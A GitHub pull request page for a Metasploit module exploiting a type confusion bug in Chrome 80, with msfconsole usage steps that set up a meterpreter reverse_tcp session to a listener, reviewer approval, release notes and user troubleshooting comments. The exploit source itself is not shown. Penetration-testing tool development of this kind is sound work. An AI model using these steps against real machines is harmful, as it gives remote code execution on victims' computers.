Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Google Chrome 80 JSCreate side-effect type confusion exploit #13008

Merged
merged 4 commits into from Mar 4, 2020

Conversation

timwr
Copy link
Contributor

@timwr timwr commented Feb 29, 2020

Tested on Windows 10 running Google Chrome (64bit) 80.0.3987.87 (e.g https://www.filepuma.com/download/google_chrome_64bit_80.0.3987.87-24545/)
Thankfully(!) there is no sandbox escape, so you'll need to run Chrome with --no-sandbox

Verification

List the steps needed to make sure this thing works

  • Start msfconsole
  • Run the exploit:
use exploit/multi/browser/chrome_jscreate_sideeffect
set SRVHOST 192.168.56.1
set URIPATH /
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.56.1
run
  • Verify you get a meterpreter session

@agalway-r7 agalway-r7 self-assigned this Mar 3, 2020
Copy link
Contributor

@agalway-r7 agalway-r7 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Tested and working as expected, good work! Few QOL changes, add docs, and its good to go 👍

@space-r7 space-r7 added the module label Mar 3, 2020
Co-Authored-By: adamgalway-r7 <54621924+adamgalway-r7@users.noreply.github.com>
@timwr
Copy link
Contributor Author

timwr commented Mar 4, 2020

So this does work identically on OSX for the same version (https://dl.google.com/release2/chrome/AJkrrB9igve6Mz4STD5utjA_80.0.3987.87/GoogleChrome-80.0.3987.87.dmg)
/Applications/Google\ Chrome.app/Contents/MacOS/Google\ Chrome --no-sandbox).
You'll need an OSX payload, e.g:
set payload osx/x64/meterpreter/reverse_tcp

@timwr
Copy link
Contributor Author

timwr commented Mar 4, 2020

Linux will presumably also work identically, as well as 64bit Chrome Android (Google Chrome Dev).
Supporting 32bit requires re-writing the exploit (ping @AmesianX) but that would add support for 32bit (or WOW64) Windows, as well as the stable (default) version on Android.

@timwr timwr removed the needs-docs label Mar 4, 2020
@agalway-r7 agalway-r7 merged commit 83132dd into rapid7:master Mar 4, 2020
@agalway-r7
Copy link
Contributor

agalway-r7 commented Mar 4, 2020

Release Notes

Adds an exploit module for Google Chrome 80. Module starts webpage hosting malicious JavaScript that when visited by a vulnerable version of Chrome allows Remote Code Execution on a remote machine. Currently only possible with --no-sandbox Chrome flag in use.

@agalway-r7 agalway-r7 added the rn-modules release notes for new or majorly enhanced modules label Mar 4, 2020
@Vikec
Copy link

Vikec commented Mar 14, 2020

Why not run on Chrome 79

@bcoles
Copy link
Contributor

bcoles commented Mar 14, 2020

Why not run on Chrome 79

This module exploits an issue in Google Chrome 80.0.3987.87 (64 bit). The browser must be run with the --no-sandbox option for the payload to work correctly.

@NereaCabiedasMoreno
Copy link

yo estoy probando y me aparece el error de : exploit completed but no session was created
no me crea la sesión, ataco a una maquina con windows 10 y el Google Chrome 80.0.3987.87 y uso PAYLOAD windows/x64/meterpreter/reverse_tcp

@timwr
Copy link
Contributor Author

timwr commented Oct 7, 2020

@Nereaaaa ¿Ejecutaste Chrome con el argumento --no-sandbox?

@NereaCabiedasMoreno
Copy link

podrías decirme como debo probar eso , por favor

@timwr
Copy link
Contributor Author

timwr commented Oct 7, 2020

Did you read the documentation?
https://github.com/rapid7/metasploit-framework/blob/master/documentation/modules/exploit/multi/browser/chrome_jscreate_sideeffect.md

"C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" --no-sandbox

@NereaCabiedasMoreno
Copy link

vale , muchas gracias

@NereaCabiedasMoreno
Copy link

Estoy intentando probarlo con Linux y no consigo realizar el ataque , utilizo chromium 80.0.0.3987.0 , no se quitar el sandbox y no encuentro otra versión , ¿alguien podría ayudarme?, gracias

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
module rn-modules release notes for new or majorly enhanced modules
Projects
None yet
Development

Successfully merging this pull request may close these issues.

None yet

6 participants